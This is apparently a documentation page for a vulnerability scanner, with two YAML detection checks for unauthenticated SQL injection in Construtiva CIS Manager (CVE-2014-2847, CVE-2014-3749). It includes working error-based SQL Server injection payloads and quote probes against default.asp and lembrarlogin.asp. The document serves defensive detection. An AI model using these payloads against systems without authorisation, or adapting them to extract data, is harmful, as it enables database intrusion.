CIS Manager — 2 vulnerability checks
noctis ships 2 vulnerability checks for CIS Manager, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Construtiva CIS Manager default.asp TroncoID SQL Injection
| CVE | CVE-2014-2847 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/cis-manager/CVE-2014-2847.yaml |
Tests Construtiva CIS Manager for the unauthenticated SQL injection in the TroncoID parameter of the site front page default.asp, under the web root and the usual install directories (/site, /cis, /cms, /cismanager, /cismanagercms). An error-based SQL Server payload, sent for both a numeric and a quoted parameter, makes the server cast a random marker concatenated with the product of two random integers to int; the database error quoting that server-computed value proves the injected SQL ran (QoD 75). Without it, on a page identified as CIS Manager, a quote followed by a random marker raising the database error '80040e14' that quotes the marker, while a random numeric TroncoID does not, is reported at QoD 70. The payload only evaluates an expression: no data is read or written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/default.asp?TroncoID=CONVERT(int,%27{{sq.marker}}%27%2BCAST({{sq.a}}*{{sq.b}}… - HTTP(S) request
GET {{dir}}/default.asp?TroncoID=1%27%2BCONVERT(varchar(30),CONVERT(int,%27{{sq.marker}}%… - Parses / computes the next value with a Rhai script
- Checks
conv_hitfor^(numeric|quoted)$→ finding QoD 75: SQL injection confirmed — …/default.asp TroncoID (… context) CONVERT(int, marker + …*…) made SQL Server return "…" in its conversion error - HTTP(S) request
GET {{dir}}/default.asp - HTTP(S) request
GET {{dir}}/default.asp?TroncoID=%27{{sq.marker}} - HTTP(S) request
GET {{dir}}/default.asp?TroncoID={{sq.ctrl}} - Parses / computes the next value with a Rhai script
- Checks
quote_hitfor^quote-differential$→ finding QoD 70: Probable SQL injection — on a CIS Manager site, …/default.asp TroncoID='<random marker> raised the database error '80040e14' quoting the ma…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-2847
- https://www.exploit-db.com/exploits/32660
- https://seclists.org/bugtraq/2015/Nov/126
Feed source — tests/vulnerabilities/cis-manager/CVE-2014-2847.yaml
# Construtiva CIS Manager — SQL injection in the 'TroncoID' parameter of the
# site front page default.asp (CVE-2014-2847)
#
# The public site of the CIS Manager CMS (classic ASP + ADO) concatenates the
# TroncoID query-string value into its SQL query without validation,
# unauthenticated (EDB-32660, 2014-04-01; Vulnerability-Lab VL-1652 reports
# the same bug on the 2015 Q4 release under ./site/). No fixed version was
# published.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_cis_manager_cms_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804558, GPL-2.0-only): for each of "/", /cis,
# /cms, /cismanager, /cismanagercms and the default CGI dirs, it requires
# ">CIS Manager<" and ">Construtiva" in <dir>/default.asp, then GETs
# <dir>/default.asp?TroncoID='SQLInjTest and flags "'SQLInjTest'" plus the ADO
# error ">error '80040e14'<".
#
# Detection (active, benign — a SELECT expression only, nothing written, no
# data read):
# 1. Error-based proof (QoD 75). TroncoID is set to the bare expression
# `CONVERT(int,'<marker>'+CAST(<a>*<b> AS varchar(20)))` (numeric
# context, the advisory's case — valid wherever a number fits: WHERE,
# parenthesised WHERE, IN lists, ORDER BY), then to
# `1'+CONVERT(varchar(30),<same>)+'` (quoted context, balanced so no
# comment is needed). Each one is a plain syntax error in the other
# context. SQL Server fails to cast the
# concatenation to int and the ADO error quotes it: `... converting the
# varchar value '<marker><a*b>' to data type int`. a and b are random per
# run and their product is never sent, so only a server that ran our SQL
# can return `<marker><a*b>`. SQL Server folds the constant expression,
# so the error comes even when no row matches.
# 2. NASL heuristic, tightened (QoD 70) — only when 1 found nothing (e.g.
# an Access/JET back end, which has no CONVERT): the front page must
# carry the CIS Manager + Construtiva fingerprint, TroncoID='<marker>
# must raise the ADO error '80040e14' quoting the random marker, AND a
# random numeric TroncoID (a valid value) must not raise it. The pair
# proves the quote reaches the SQL text, rather than a page that always
# errors.
#
# Beyond the NASL:
# - Server-computed value in branch 1 instead of an echoed fixed string.
# - Random marker + numeric control in branch 2 (canned error pages that
# echo the input give no finding).
# - /site added to the install directories (the advisory's ./site/ path).
uid: fac07626-7881-4580-8973-cfc52a2e9e38
name: "Construtiva CIS Manager default.asp TroncoID SQL Injection (CVE-2014-2847)"
description: |
Tests Construtiva CIS Manager for the unauthenticated SQL injection in the
TroncoID parameter of the site front page default.asp, under the web root
and the usual install directories (/site, /cis, /cms, /cismanager,
/cismanagercms). An error-based SQL Server payload, sent for both a numeric
and a quoted parameter, makes the server cast a random marker concatenated
with the product of two random integers to int; the database error quoting
that server-computed value proves the injected SQL ran (QoD 75). Without
it, on a page identified as CIS Manager, a quote followed by a random
marker raising the database error '80040e14' that quotes the marker, while
a random numeric TroncoID does not, is reported at QoD 70. The payload only
evaluates an expression: no data is read or written.
cves: [CVE-2014-2847]
cvss: 7.5
severity: high
confidence_base: 0.20
tags: [cis-manager, construtiva, asp, mssql, sqli, unauthenticated, intrusive]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-2847"
- "https://www.exploit-db.com/exploits/32660"
- "https://seclists.org/bugtraq/2015/Nov/126"
steps:
# ── Per-run random values: marker + two factors (product never sent) ─────
- id: calc
action: script
code: |
let marker = "noctis" + rand_str(10);
let a = rand_int(1013, 9973);
let b = rand_int(1013, 9973);
#{ marker: marker, a: a, b: b, expected: marker + (a * b).to_string(), ctrl: rand_int(700000, 999999) }
store_as: sq
# ── Every step from here on runs once per install directory ──────────────
# Pre-initialise every stored result a script or condition reads: a failed
# request leaves store_as unset and the script would abort the whole test.
- id: init-num
action: set_var
var_name: num_resp
var_value: {status: 0, body: null}
loop:
var: dir
over: ["", "/site", "/cis", "/cms", "/cismanager", "/cismanagercms"]
- id: init-str
action: set_var
var_name: str_resp
var_value: {status: 0, body: null}
- id: init-home
action: set_var
var_name: home_resp
var_value: {status: 0, body: null}
- id: init-quote
action: set_var
var_name: quote_resp
var_value: {status: 0, body: null}
- id: init-ctrl
action: set_var
var_name: ctrl_resp
var_value: {status: 0, body: null}
- id: init-hit
action: set_var
var_name: conv_hit
var_value: "none"
# Branch 1 — error-based, server-computed value, numeric then quoted context.
- id: inject-numeric
action: http_request
method: GET
path: "{{dir}}/default.asp?TroncoID=CONVERT(int,%27{{sq.marker}}%27%2BCAST({{sq.a}}*{{sq.b}}+AS+varchar(20)))"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: num_resp
- id: inject-quoted
action: http_request
method: GET
path: "{{dir}}/default.asp?TroncoID=1%27%2BCONVERT(varchar(30),CONVERT(int,%27{{sq.marker}}%27%2BCAST({{sq.a}}*{{sq.b}}+AS+varchar(20))))%2B%27"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'num_resp.status > 0 && !(type_of(num_resp.body) == "string" && stridx(num_resp.body, sq.expected) >= 0)'
store_as: str_resp
# Returns only the context (or "none") so the evidence holds no page data.
- id: verify-convert
action: script
code: |
let hit = "none";
if type_of(num_resp.body) == "string" && stridx(num_resp.body, sq.expected) >= 0 {
hit = "numeric";
} else if type_of(str_resp.body) == "string" && stridx(str_resp.body, sq.expected) >= 0 {
hit = "quoted";
}
hit
store_as: conv_hit
- id: report-convert
action: match
source: conv_hit
pattern: "^(numeric|quoted)$"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "SQL injection confirmed — {{dir}}/default.asp TroncoID ({{conv_hit}} context) CONVERT(int, marker + {{sq.a}}*{{sq.b}}) made SQL Server return \"{{sq.expected}}\" in its conversion error"
remediation: "No fixed CIS Manager release was published: validate TroncoID as an integer (CLng) or use parameterised ADO commands, and turn off detailed ADO error pages."
stop: true
# Branch 2 — the NASL test (fingerprint + quote error), random marker and a
# valid numeric control.
- id: fingerprint
action: http_request
method: GET
path: "{{dir}}/default.asp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'conv_hit == "none" && num_resp.status > 0'
store_as: home_resp
- id: inject-quote
action: http_request
method: GET
path: "{{dir}}/default.asp?TroncoID=%27{{sq.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'conv_hit == "none" && type_of(home_resp.body) == "string" && ereg("CIS Manager", home_resp.body) && ereg("[Cc]onstrutiva", home_resp.body)'
store_as: quote_resp
- id: control-numeric
action: http_request
method: GET
path: "{{dir}}/default.asp?TroncoID={{sq.ctrl}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'conv_hit == "none" && type_of(quote_resp.body) == "string" && stridx(quote_resp.body, "80040e14") >= 0 && stridx(quote_resp.body, sq.marker) >= 0'
store_as: ctrl_resp
# Fail-closed: the numeric control must have answered (a body) without the
# database error.
- id: verify-quote
action: script
code: |
let hit = "none";
if conv_hit == "none"
&& type_of(quote_resp.body) == "string"
&& stridx(quote_resp.body, "80040e14") >= 0
&& stridx(quote_resp.body, sq.marker) >= 0
&& ctrl_resp.status > 0
&& type_of(ctrl_resp.body) == "string"
&& stridx(ctrl_resp.body, "80040e14") < 0 {
hit = "quote-differential";
}
hit
store_as: quote_hit
- id: report-quote
action: match
source: quote_hit
pattern: "^quote-differential$"
on_match:
finding:
confidence_delta: 0.50
qod: 70
evidence: "Probable SQL injection — on a CIS Manager site, {{dir}}/default.asp TroncoID='<random marker> raised the database error '80040e14' quoting the marker while the numeric TroncoID={{sq.ctrl}} did not"
remediation: "No fixed CIS Manager release was published: validate TroncoID as an integer (CLng) or use parameterised ADO commands, and turn off detailed ADO error pages."
stop: trueConstrutiva CIS Manager lembrarlogin.asp email SQL Injection
| CVE | CVE-2014-3749 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/cis-manager/CVE-2014-3749.yaml |
Tests Construtiva CIS Manager for the unauthenticated SQL injection in the email parameter of the password-reminder page lembrarlogin.asp, under the web root and the usual install directories (/autenticar, /cismanager, /site, /construtiva). An error-based SQL Server payload makes the server cast a random marker concatenated with the product of two random integers to int; the database error quoting that server-computed value proves the injected SQL ran (QoD 75). Without it, on a page identified as CIS Manager, a lone quote raising the SQL Server error '80040e14' while an escaped quote does not is reported at QoD 70. The payload only evaluates an expression: no data is read or written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/lembrarlogin.asp?email=noctis%27+OR+1%3DCONVERT(int,%27{{sq.marker}}%27%2BCA…with a crafted body - Parses / computes the next value with a Rhai script
- Checks
conv_hitfor^noctis[a-z0-9]+$→ finding QoD 75: SQL injection confirmed — …/lembrarlogin.asp email CONVERT(int, marker + …*…) made SQL Server return "…" in its conversion error - HTTP(S) request
GET {{dir}}/login.asp - HTTP(S) request
POST {{dir}}/lembrarlogin.asp?email=%27with a crafted body - HTTP(S) request
POST {{dir}}/lembrarlogin.asp?email=%27%27with a crafted body - Parses / computes the next value with a Rhai script
- Checks
quote_hitfor^quote-differential$→ finding QoD 70: Probable SQL injection — on a CIS Manager install, …/lembrarlogin.asp email=' raised the SQL Server error '80040e14' while the escaped emai…
References:
Feed source — tests/vulnerabilities/cis-manager/CVE-2014-3749.yaml
# Construtiva CIS Manager — SQL injection in the 'email' parameter of
# /autenticar/lembrarlogin.asp (CVE-2014-3749)
#
# The password-reminder page of the CIS Manager CMS (classic ASP + SQL Server)
# concatenates the `email` parameter into its query without escaping,
# unauthenticated. The advisory (Full Disclosure 2014-05-16, "Construtiva CIS
# Manager CMS POST SQLi") reports an error-based injection through the POSTed
# `email` value; no fixed version was published.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_cis_manager_email_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804455, GPL-2.0-only): for each of "/",
# /autenticar, /cismanager, /site, /construtiva and the default CGI dirs, it
# fingerprints <dir>/login.asp (">Construtiva .*Internet Software" or
# "http://www.construtiva.com.br/"), then GETs
# <dir>/lembrarlogin.asp?email=' and flags the
# "SQL Server.*>error.*'80040e14'" ADO error.
#
# Detection (active, benign — a SELECT expression only, nothing written, no
# data read):
# 1. Error-based proof (QoD 75). `email` closes the string and adds
# `OR 1=CONVERT(int,'<marker>'+CAST(<a>*<b> AS varchar(20)))--`. SQL
# Server fails to cast the concatenation to int and the ADO error quotes
# it: `... converting the varchar value '<marker><a*b>' to data type
# int`. a and b are random per run and their product is never sent, so
# only a server that ran our SQL can return `<marker><a*b>`. `OR` (not
# `AND`) makes SQL Server evaluate the cast on the first row it reads,
# whatever the e-mail, and the cast always fails, so the statement never
# matches a row.
# 2. NASL heuristic, tightened (QoD 70) — only when 1 found nothing: the
# login page must carry the Construtiva fingerprint, a lone `'` must
# raise the SQL Server ADO error '80040e14' (the NASL test), AND the
# escaped `''` (a valid SQL literal) must not. The pair proves the quote
# reaches the SQL text unescaped, rather than a page that always errors.
#
# Beyond the NASL:
# - Server-computed value in branch 1 instead of a fixed error code.
# - The `''` control in branch 2 rules out a page that shows a canned error.
# - The advisory names a POST parameter while the NASL sends GET: every
# probe is a POST whose query string AND form body both carry `email`, so
# the page is reached whether it reads Request.Form, Request.QueryString
# or Request("email").
uid: 87a41c56-3172-4901-8331-3241d536a7d1
name: "Construtiva CIS Manager lembrarlogin.asp email SQL Injection (CVE-2014-3749)"
description: |
Tests Construtiva CIS Manager for the unauthenticated SQL injection in the
email parameter of the password-reminder page lembrarlogin.asp, under the
web root and the usual install directories (/autenticar, /cismanager, /site,
/construtiva). An error-based SQL Server payload makes the server cast a
random marker concatenated with the product of two random integers to int;
the database error quoting that server-computed value proves the injected
SQL ran (QoD 75). Without it, on a page identified as CIS Manager, a lone
quote raising the SQL Server error '80040e14' while an escaped quote does
not is reported at QoD 70. The payload only evaluates an expression: no
data is read or written.
cves: [CVE-2014-3749]
cvss: 7.5
severity: high
confidence_base: 0.20
tags: [cis-manager, construtiva, asp, mssql, sqli, unauthenticated, intrusive]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3749"
- "https://seclists.org/fulldisclosure/2014/May/73"
steps:
# ── Per-run random values: marker + two factors (product never sent) ─────
- id: calc
action: script
code: |
let marker = "noctis" + rand_str(10);
let a = rand_int(1013, 9973);
let b = rand_int(1013, 9973);
#{ marker: marker, a: a, b: b, expected: marker + (a * b).to_string() }
store_as: sq
# ── Every step from here on runs once per install directory ──────────────
# Pre-initialise every stored result a script or condition reads: a failed
# request leaves store_as unset and the script would abort the whole test.
- id: init-conv
action: set_var
var_name: conv_resp
var_value: {status: 0, body: null}
loop:
var: dir
over: ["", "/autenticar", "/cismanager", "/site", "/construtiva", "/scripts", "/cgi-bin"]
- id: init-login
action: set_var
var_name: login_resp
var_value: {status: 0, body: null}
- id: init-quote
action: set_var
var_name: quote_resp
var_value: {status: 0, body: null}
- id: init-dquote
action: set_var
var_name: dquote_resp
var_value: {status: 0, body: null}
- id: init-hit
action: set_var
var_name: conv_hit
var_value: "none"
# Branch 1 — error-based, server-computed value.
- id: inject-convert
action: http_request
method: POST
path: "{{dir}}/lembrarlogin.asp?email=noctis%27+OR+1%3DCONVERT(int,%27{{sq.marker}}%27%2BCAST({{sq.a}}*{{sq.b}}+AS+varchar(20)))--"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "email=noctis%27+OR+1%3DCONVERT(int,%27{{sq.marker}}%27%2BCAST({{sq.a}}*{{sq.b}}+AS+varchar(20)))--"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: conv_resp
# Returns only the marker+product (or "none") so the evidence holds no page data.
- id: verify-convert
action: script
code: |
let hit = "none";
if type_of(conv_resp.body) == "string" && stridx(conv_resp.body, sq.expected) >= 0 {
hit = sq.expected;
}
hit
store_as: conv_hit
- id: report-convert
action: match
source: conv_hit
pattern: "^noctis[a-z0-9]+$"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "SQL injection confirmed — {{dir}}/lembrarlogin.asp email CONVERT(int, marker + {{sq.a}}*{{sq.b}}) made SQL Server return \"{{sq.expected}}\" in its conversion error"
stop: true
# Branch 2 — the NASL test (fingerprint + quote error) plus an escaped-quote
# control.
- id: fingerprint
action: http_request
method: GET
path: "{{dir}}/login.asp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'conv_hit == "none"'
store_as: login_resp
- id: inject-quote
action: http_request
method: POST
path: "{{dir}}/lembrarlogin.asp?email=%27"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "email=%27"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'conv_hit == "none" && type_of(login_resp.body) == "string" && (ereg(">Construtiva .*Internet Software", login_resp.body) || stridx(login_resp.body, "http://www.construtiva.com.br/") >= 0)'
store_as: quote_resp
- id: inject-dquote
action: http_request
method: POST
path: "{{dir}}/lembrarlogin.asp?email=%27%27"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "email=%27%27"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'conv_hit == "none" && type_of(quote_resp.body) == "string" && stridx(quote_resp.body, "SQL Server") >= 0 && stridx(quote_resp.body, "80040e14") >= 0'
store_as: dquote_resp
# Fail-closed: the escaped control must have answered (a body) without the
# SQL Server error.
- id: verify-quote
action: script
code: |
let hit = "none";
if conv_hit == "none"
&& type_of(quote_resp.body) == "string"
&& stridx(quote_resp.body, "SQL Server") >= 0
&& stridx(quote_resp.body, "80040e14") >= 0
&& dquote_resp.status > 0
&& type_of(dquote_resp.body) == "string"
&& stridx(dquote_resp.body, "80040e14") < 0 {
hit = "quote-differential";
}
hit
store_as: quote_hit
- id: report-quote
action: match
source: quote_hit
pattern: "^quote-differential$"
on_match:
finding:
confidence_delta: 0.50
qod: 70
evidence: "Probable SQL injection — on a CIS Manager install, {{dir}}/lembrarlogin.asp email=' raised the SQL Server error '80040e14' while the escaped email='' did not"
stop: true